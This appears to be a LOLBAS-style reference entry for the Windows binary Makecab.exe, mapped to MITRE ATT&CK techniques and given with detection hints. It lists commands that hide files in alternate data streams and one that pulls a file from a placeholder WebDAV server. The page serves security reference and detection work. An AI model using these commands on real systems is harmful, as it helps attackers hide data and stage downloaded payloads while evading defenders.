.. / Makecab.exe
Star

Binary to package existing files into a cabinet (.cab) file


Paths:


Resources:
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Acknowledgement:
Oddvar Moe - @oddvarmoe


Detection:
Makecab getting files from Internet
Makecab storing data into alternate data streams



Alternate data streams

Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
Usecase:Hide data compressed into an alternate data stream
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096



Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
Usecase:Hide data compressed into an alternate data stream
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096



Download

Download and compresses the target file and stores it in the target file.
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
Usecase:Download file and compress into a cab file
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1105